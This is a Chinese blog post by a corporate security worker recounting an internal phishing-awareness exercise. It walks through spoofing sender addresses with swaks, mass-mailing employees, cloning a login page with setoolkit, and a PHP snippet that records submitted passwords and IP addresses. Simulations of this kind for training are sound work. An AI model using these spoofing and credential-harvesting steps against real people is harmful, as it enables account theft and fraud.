记一次企业安全意识宣传活动——钓鱼邮件

记一次安全意识宣传活动

国家网络安全宣传周每年9月底举办,为了向上配合、向下宣传,并普及本公司的安全意识活动,我们也在10月份举办了安全宣传周活动,微信公众号、各处海报、食堂现场问答活动等等不说了,我负责技术上给人以风险意识教育,所以计划从钓鱼邮件入手。在入手前,我们找了第三方做这件事。但搭好了才知道,第三方只是实现了代理、群发功能,发件人邮件头和邮件中显示的是一模一样的。那就没意思了。还算什么钓鱼邮件。

于是我想自己做,之前用kali做过钓鱼wifi,简单检索之后发现kali自带setoolkit工具包,就它了。

理想很骨干,肉体很丰满。

我把能找到的钓鱼邮件教程都看了看,发现他们发起邮件来非常轻松,但我在实践的过程中,遇到了很多坑,结合我做信息安全这么多年的工作经历来看,对于浅尝辄止的教程,大量雷同的教程,一般大家都没有深入做,也都没有落到实践中,请真正的实践者小心评估工作量。

一、假冒邮件制作

我往公司邮箱发了一封假冒邮件,居然中文乱码。命令是:

swaks –body “中奖信息” –header “Subject:中奖信息” –to xxxx@xxxx.com –from “admin@taobao.com”

1.png

但我往163邮箱发,没有乱码问题。

2.png

我改了kali的系统语言,改了console支持的编码,都不行。想来想去,只有公司邮箱编码有问题这一种情况了。但邮箱server那边的编码我改不了,我这边该怎么解决呢。

我检索到了“–data”这个参数的使用方法,支持对邮件头的直接转发。这就需要你发一封伪造好subject和body内容的邮件到自己可控的邮箱里,比如163(163有一个不好的地方,就是邮件最下面出现的广告,也会一并算到邮件头中,还需要对base做裁剪,不如使用其他邮箱方便。),然后查看更多-查看信头,删掉received、from这些行,否则会和swaks命令中的to、from冲突,收到邮件的时候,发件人、收件人会变成不可识别。邮件头中的to这一行可以保留,但应该修改为你要发送到的邮箱地址。之后保存成文本,比如youjiatou.txt。

3.png

最后使用以下命令发送:swaks –data youjiantoux.txt –to xxxx@xxxx.com –from admin@taobao.com,成功。

4.png

事实上,我还有一台kali 1.1版本的电脑,2015年的版本,它就可以直接使用–body “促销活动” –header “Subject:促销活动带中文的邮件,很是神奇,尚未深究两者的差异根源。 

邮件群发:Linux的批处理很方便,把收件人用excel表格的方式处理好,形成一批swaks的命令,放到一个文件里,比如qunfa,terminal输入shqunfa,chmod777 qunfa,./qunfa。搞定。

 二:钓鱼网站制作

假冒邮件发完了,如何搭建钓鱼天猫网站呢。明眼都能看出来,则个叫www.tma11.com的网站,具有欺骗性。我不会真的申请这样一个域名(真钓鱼的话是真的会申请类似这样的迷惑人的域名的),所以这个链接背后是一个全公司都能访问到的地址。

做实验的时候,我使用的是笔记本上装vmware虚拟机,采用NAT共享主机ip地址的方法,kali顺利入网。

奈何公司没有办公网络的wifi,网线仍然是公司网络准入控制的一环,钓鱼网站该怎么才能被访问到呢?

不管用什么方案,钓鱼网站服务器的ip总是要固定的,kali的修改方式如下:

/etc/network下的interfaces文件,使用哪个网卡就修改哪个网口的配置,我这里是eth0,增加如下配置:

auto eth0

iface eth0 inet static                //配置eth0的静态地址

 address 192.168.xxx.xxx        //设置eth0的IP地址

netmask 255.255.255.0          //配置eth0的子网掩码

 gateway 192.168.0.xxx        //配置默认网关

还需要修改DNS配置,Kali的 DNS服务器地址使用文件“/etc/resovl.conf”进行配置,增加配置如下:

domain

nameserver 101.x.x.x

nameserver 102.x.x.x。

配好了之后,一定要重启/etc/init.d/networkingrestart。

为了把钓鱼网站接入网络,有很多方案:(1)笔记本插网线,vmware网络适配器选择NAT模式,这个需要配置主机转发,才能实现其他主机对虚拟机web服务器的访问。可以参考http://blog.csdn.net/mecho/article/details/24396065。如果不行还需要关一下笔记本、虚拟机的防火墙。2)找一台办公机,使用wifi共享的软件或usb随身wifi搞出一个接入点,违反了公司制度。而且,除了那台办公机之外,其他机器无法访问到我的kali上。该方案行不通。3)如果公司有wifi,虚拟机桥接,直接连到互联网即可。但需要给笔记本再连接一个网卡,如R8187USB网卡,供里面的虚拟机使用。 

接好了网络之后,使用setoolkit工具克隆网站,不过你也可以自己写网页。克隆的步骤如下:

1、 terminal输入setoolkit,选择1

5.png

2、选择2:

6.png

3、选择4,标签钓鱼

7.png

4、选择2,输入假冒网站所在的ip,我这里就写了本机ip,然后输入你想要骗人的网站,自己公司的OA登陆页面啊、常用的互联网网站啊等等。

8.png

5、回车之后,提示在/var/www下面有内容。左边宿主机打开页面,输入的用户名密码,右边www文件夹下面的harvestxxx.txt里都能够看到。

9.png

6、打开www文件夹,打开index2.html文件,看到文件中插入了这样一段话。就是这句话起了作用,都发给了post.php。

10.png

7、当然,post.php文件你也可以进一步改造。比如加一个文本、图片、记录客户机ip等等。这样也好方便统计哪位员工中招了。

<?php $file = ‘harvester.txt’;$ip=$_SERVER["REMOTE_ADDR"];file_put_contents($file,json_encode($_POST).$ip.”\n\r”,FILE_APPEND);echo “phished”;?>

当然,你也可以把这些文件放到另一台服务器上,只要配置好了ip,直接拷贝过去就行了。我后来做了一个测试,在windows server上面安装了phpstudy,把www下面的几个文件拷贝过去,非常方便。

 

文章开篇说,看教程非常简单,实际操作起来却总是这也不对那也不对,其实都是没有实际上过手导致的,只是知道若干名词和功能,嘴上跑火车都会。在这里做记录,也方便自己后续工作的总结。切勿浅尝辄止,切忌看上去很美。

5

发表评论

已有 10 条评论

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php